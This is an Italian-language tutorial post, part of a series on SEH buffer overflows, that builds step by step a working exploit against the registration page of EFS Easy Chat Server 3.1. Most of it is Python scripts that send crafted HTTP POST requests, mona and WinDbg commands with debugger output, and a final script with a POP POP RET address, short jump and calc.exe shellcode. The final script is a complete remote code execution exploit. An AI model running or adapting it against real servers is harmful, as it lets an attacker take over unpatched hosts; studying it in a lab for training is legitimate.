Secondo articolo della serie SEH Buffer Overflow, target: EFS Easy Chat Server 3.1
Altri post in questa serie: 5. SEH Overflow I - Vulnserver GMON 5. SEH Overflow II - EFS Easy Chat Server 3.1 5. SEH Overflow III - Easy File Sharing Web Server 7.2 5. SEH Overflow IV - DocPrint Pro 8.0
L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.
Per avere un ambiente ad hoc serve:
Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:
!py mona config -set workingfolder c:\monalogs\%p_%i
In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.
NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.
NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).
EFS Easy Chat Server 3.1 è un programma che veniva usato anni fa per chattare con altre persone sulla stessa LAN, nel quale si potevano creare utenti e gruppi. Una volta avviato espone un web server sulla porta 80.
Ci sono diverse vulnerabilità, noi ci concentreremo sulla pagina di registrazione.
Sapendo che il server è vulnerabile a Buffer Overflow, andiamo a creare un primo script che lo manderà in crash.
#!/usr/bin/python
import os
import sys
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
target = (TARGET_IP, TARGET_PORT)
payload = b"A" * 1000
buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
buffer += b"Host: 192.168.1.11"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += b"Accept-Language: en-US,en;q=0.5"
buffer += b"Accept-Encoding: gzip, deflate"
buffer += b"Referer: http://192.168.1.11/register.ghp"
buffer += b"Connection: close"
buffer += b"Content-Type: application/x-www-form-urlencoded"
buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
s.send(buffer)
s.close()
Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona
!py mona pc 1000
Riavvio Easy Chat e aggiorno lo script inserendo il pattern
#!/usr/bin/python
import os
import sys
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
CRASH_LEN = 1000 # change me
target = (TARGET_IP, TARGET_PORT)
payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1.."
buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
buffer += b"Host: 192.168.1.11"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += b"Accept-Language: en-US,en;q=0.5"
buffer += b"Accept-Encoding: gzip, deflate"
buffer += b"Referer: http://192.168.1.11/register.ghp"
buffer += b"Connection: close"
buffer += b"Content-Type: application/x-www-form-urlencoded"
buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
s.send(buffer)
s.close()
Analizzo l’exchain e cerco i pattern ciclici
0:006> !exchain
01d86a88: ntdll!_except_handler4+0 (77eb84b0)
CRT scope 1, filter: ntdll!RtlDebugFreeHeap+25a (77f0fad2)
func: ntdll!RtlDebugFreeHeap+26a (77f0fae2)
CRT scope 0, func: ntdll!RtlDebugFreeHeap+2bc (77f0fb34)
01d86bcc: ntdll!_except_handler4+0 (77eb84b0)
CRT scope 0, func: ntdll!RtlpFreeHeap+12b2 (77e60ad2)
01d86c8c: EasyChat+46a60 (00446a60)
01d86e18: 34684133
Invalid exception stack at 68413268
0:006> !py mona po 34684133
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 34684133
Looking for 3Ah4 in pattern of 500000 bytes
- Pattern 3Ah4 (0x34684133) found in cyclic pattern at position 221
0:006> !py mona po 68413268
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 68413268
Looking for h2Ah in pattern of 500000 bytes
- Pattern h2Ah (0x68413268) found in cyclic pattern at position 217
Per fare una verifica puntuale modifichiamo lo script in modo da sovrascrivere SEH con 4 C e NSEH con 4 B.
#!/usr/bin/python
import os
import sys
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
CRASH_LEN = 1000 # change me
OFFSET = 217
target = (TARGET_IP, TARGET_PORT)
payload = b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * 4
payload += "D" * (CRASH_LEN - len(payload))
buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
buffer += b"Host: 192.168.1.11"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += b"Accept-Language: en-US,en;q=0.5"
buffer += b"Accept-Encoding: gzip, deflate"
buffer += b"Referer: http://192.168.1.11/register.ghp"
buffer += b"Connection: close"
buffer += b"Content-Type: application/x-www-form-urlencoded"
buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
s.send(buffer)
s.close()
Ed ecco che l’exchain è sovrascritta con i nostri caratteri.
0:006> !exchain
01b66a88: ntdll!_except_handler4+0 (77eb84b0)
CRT scope 1, filter: ntdll!RtlDebugFreeHeap+25a (77f0fad2)
func: ntdll!RtlDebugFreeHeap+26a (77f0fae2)
CRT scope 0, func: ntdll!RtlDebugFreeHeap+2bc (77f0fb34)
01b66bcc: ntdll!_except_handler4+0 (77eb84b0)
CRT scope 0, func: ntdll!RtlpFreeHeap+12b2 (77e60ad2)
01b66c8c: EasyChat+46a60 (00446a60)
01b66e18: 43434343
Invalid exception stack at 42424242
Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono
!py mona ba -cpb '\x00'
NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:
!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff
Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)
#!/usr/bin/python
import os
import sys
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
CRASH_LEN = 1000 # change me
OFFSET = 217
target = (TARGET_IP, TARGET_PORT)
#\x00
bad_chars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * 4
payload += bad_chars
payload += b"D" * (CRASH_LEN - len(payload))
buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
buffer += b"Host: 192.168.1.11"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += b"Accept-Language: en-US,en;q=0.5"
buffer += b"Accept-Encoding: gzip, deflate"
buffer += b"Referer: http://192.168.1.11/register.ghp"
buffer += b"Connection: close"
buffer += b"Content-Type: application/x-www-form-urlencoded"
buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
s.send(buffer)
s.close()
Proseguo l’esecuzione per vedere se ho sovracritto il Next SEH.
0:006> g
HEAP[EasyChat.exe]: Invalid address specified to RtlFreeHeap( 01B00000, 01B1D398 )
(368.12fc): Break instruction exception - code 80000003 (first chance)
eax=002e2000 ebx=01b1d390 ecx=005f25cc edx=01d968b1 esi=01b00000 edi=00000000
eip=77edf56a esp=01d96a24 ebp=01d96a38 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!RtlpValidateHeapEntry+0x49b95:
77edf56a cc int 3
0:006> !teb
TEB at 002ea000
ExceptionList: 01d96a88
StackBase: 01db0000
StackLimit: 01d96000
….
0:006> dt _EXCEPTION_REGISTRATION_RECORD 01d96a88
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x01d96bcc _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77eb84b0 _EXCEPTION_DISPOSITION ntdll!_except_handler4+0
Proseguo al prossimo Handler
0:006> g
(368.12fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000067 ebx=00000006 ecx=100f0e0d edx=0047a691 esi=100f0e0d edi=00000067
eip=00457b1e esp=01d96ca0 ebp=01d977e8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
EasyChat+0x57b1e:
00457b1e 8b06 mov eax,dword ptr [esi] ds:0023:100f0e0d=????????
0:006> !teb
TEB at 002ea000
ExceptionList: 01d96e18
StackBase: 01db0000
StackLimit: 01d96000
…..
0:006> dt _EXCEPTION_REGISTRATION_RECORD 01d96e18
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x42424242 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler
Siamo arrivati al nostro buffer, dumpo quindi il contenuto per vedere se qualche carattere è stato eliminato
0:006> db 01d96e18 L110
01d96e18 42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08 BBBBCCCC........
01d96e28 09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18 ................
01d96e38 19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 57 28 29 2a ....... !"#$W()*
01d96e48 20 2c 2d 2e 2f 30 31 32-33 34 35 36 37 38 39 3a ,-./0123456789:
01d96e58 3b 3c 3d 3e 3f 40 41 42-43 44 45 46 47 48 49 4a ;<=>?@ABCDEFGHIJ
01d96e68 4b 4c 4d 4e 4f 50 51 52-53 54 55 56 57 58 59 5a KLMNOPQRSTUVWXYZ
01d96e78 5b 5c 5d 5e 5f 60 61 62-63 64 65 66 67 68 69 6a [\]^_`abcdefghij
01d96e88 6b 6c 6d 6e 6f 70 71 72-73 74 75 76 77 78 79 7a klmnopqrstuvwxyz
01d96e98 7b 7c 7d 7e 7f 80 81 82-83 84 85 86 87 88 89 8a {|}~............
01d96ea8 8b 8c 8d 8e 8f 90 91 92-93 94 95 96 97 98 99 9a ................
01d96eb8 9b 9c 9d 9e 9f a0 a1 a2-a3 a4 a5 a6 a7 a8 a9 aa ................
01d96ec8 ab ac ad ae af b0 b1 b2-b3 b4 b5 b6 b7 b8 b9 ba ................
01d96ed8 bb bc bd be bf c0 c1 c2-c3 c4 c5 c6 c7 c8 c9 ca ................
01d96ee8 cb cc cd ce cf d0 d1 d2-d3 d4 d5 d6 d7 d8 d9 da ................
01d96ef8 db dc dd de df e0 e1 e2-e3 e4 e5 e6 e7 e8 e9 ea ................
01d96f08 eb ec ed ee ef f0 f1 f2-f3 f4 f5 f6 f7 f8 f9 fa ................
01d96f18 fb fc fd fe ff 44 44 44-44 44 44 44 44 44 44 44 .....DDDDDDDDDDD
Non sembrano esserci bad char (oltre al solito \x00), cerco ora un PPR
L’obiettivo ora è di trovare un POP POP RET in modo tale da far puntare EIP al nostro Next SEH e redirezionare il flusso. Cerco quindi con mona nei moduli dell’eseguibile
0:006> !py mona seh -cpb "\x00"
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh -cpb "\x00"
---------- Mona command started on 2022-09-08 17:28:18 (v2.0, rev 616) ----------
[+] Processing arguments and criteria
…………….
[+] Results :
0x10017f21 | 0x10017f21 : pop esi # pop ecx # ret | ascii {PAGE_EXECUTE_READ} [SSLEAY32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy Chat Server\SSLEAY32.dll)
0x10017f64 | 0x10017f64 : pop esi # pop ecx # ret | ascii {PAGE_EXECUTE_READ} [SSLEAY32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy Chat Server\SSLEAY32.dll)
0x10017fda | 0x10017fda : pop esi # pop ecx # ret | {PAGE_EXECUTE_READ} [SSLEAY32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy Chat Server\SSLEAY32.dll)
….
Prendo il primo, aggiungo lo short jump di 8 e aggiorno lo script
#!/usr/bin/python
import os
import sys
import socket
import struct
TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
CRASH_LEN = 1000 # change me
OFFSET = 217
target = (TARGET_IP, TARGET_PORT)
payload = b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # short jump 8
payload += struct.pack("<I",0x10017f21) #PPR
payload += b"\x90" * 10
payload += b"D" * (CRASH_LEN - len(payload))
buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
buffer += b"Host: 192.168.1.11"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += b"Accept-Language: en-US,en;q=0.5"
buffer += b"Accept-Encoding: gzip, deflate"
buffer += b"Referer: http://192.168.1.11/register.ghp"
buffer += b"Connection: close"
buffer += b"Content-Type: application/x-www-form-urlencoded"
buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
s.send(buffer)
s.close()
Eseguo mettendo il breakpoint su 0x10017f21 per vedere se è tutto ok
Continuo l’esecuzione fino a che non viene intercettata dall’exception handler e una volta arrivato al breakpoint faccio singoli step fino ad arrivare al jump.
0:006> bp 10017f21
*** WARNING: Unable to verify checksum for C:\EFS Software\Easy Chat Server\SSLEAY32.dll
0:006> g
(82c.6a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=037c8d8c ebx=00000006 ecx=00000144 edx=01bb6f8c esi=01c12074 edi=0047a765
eip=76a96dec esp=01bb6c80 ebp=01bb6ca8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
KERNEL32!lstrcpyA+0x1c:
76a96dec 880c16 mov byte ptr [esi+edx],cl ds:0023:037c9000=??
0:006> g
(82c.6a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=44444444 ebx=00000000 ecx=00000000 edx=037c8ea0 esi=037c8fe8 edi=4444443c
eip=77f1cf5f esp=01bb6a20 ebp=01bb6a44 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
ntdll!RtlpLocateRelatedBlocks+0x53:
77f1cf5f 8b7710 mov esi,dword ptr [edi+10h] ds:0023:4444444c=????????
0:006> g
(82c.6a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=44444444 ebx=037c8d58 ecx=44444444 edx=037c8ea8 esi=037c8ea0 edi=01980000
eip=77e5ffb7 esp=01bb6aa4 ebp=01bb6bdc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
ntdll!RtlpFreeHeap+0x797:
77e5ffb7 8b00 mov eax,dword ptr [eax] ds:0023:44444444=????????
0:006> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10017f21 edx=77ec5b10 esi=00000000 edi=00000000
eip=10017f21 esp=01bb6540 ebp=01bb6560 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
SSLEAY32!SSL_use_certificate_file+0x41:
10017f21 5e pop esi
0:006> t
eax=00000000 ebx=00000000 ecx=10017f21 edx=77ec5b10 esi=77ec5af2 edi=00000000
eip=10017f22 esp=01bb6544 ebp=01bb6560 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
SSLEAY32!SSL_use_certificate_file+0x42:
10017f22 59 pop ecx
0:006> t
eax=00000000 ebx=00000000 ecx=01bb6640 edx=77ec5b10 esi=77ec5af2 edi=00000000
eip=10017f23 esp=01bb6548 ebp=01bb6560 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
SSLEAY32!SSL_use_certificate_file+0x43:
10017f23 c3 ret
0:006> t
eax=00000000 ebx=00000000 ecx=01bb6640 edx=77ec5b10 esi=77ec5af2 edi=00000000
eip=01bb6e18 esp=01bb654c ebp=01bb6560 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01bb6e18 90 nop
0:006> t
eax=00000000 ebx=00000000 ecx=01bb6640 edx=77ec5b10 esi=77ec5af2 edi=00000000
eip=01bb6e19 esp=01bb654c ebp=01bb6560 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01bb6e19 90 nop
0:006> t
eax=00000000 ebx=00000000 ecx=01bb6640 edx=77ec5b10 esi=77ec5af2 edi=00000000
eip=01bb6e1a esp=01bb654c ebp=01bb6560 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01bb6e1a eb06 jmp 01bb6e22
0:006> u 01bb6e22
01bb6e22 90 nop
01bb6e23 90 nop
01bb6e24 90 nop
Sembra ci sia tutto lo spazio che ci serve, proviamo ad inserire lo shellcode
Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C.
Il codice finale sarà
#!/usr/bin/python
import os
import sys
import socket
import struct
TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
CRASH_LEN = 1000 # change me
OFFSET = 217
target = (TARGET_IP, TARGET_PORT)
#calc.exe
shellcode = b"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7"
payload = b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # short jump 8
payload += struct.pack("<I",0x10017f21) #PPR
payload += b"\x90" * 10
payload += shellcode
payload += b"D" * (CRASH_LEN - len(payload))
buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
buffer += b"Host: 192.168.1.11"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += b"Accept-Language: en-US,en;q=0.5"
buffer += b"Accept-Encoding: gzip, deflate"
buffer += b"Referer: http://192.168.1.11/register.ghp"
buffer += b"Connection: close"
buffer += b"Content-Type: application/x-www-form-urlencoded"
buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
s.send(buffer)
s.close()
Rispetto al primo articolo sul SEH è stato un esercizio molto più semplice, ma che ci permette di capire bene il funzionamento del SEH. Di seguito alcuni approfondimenti: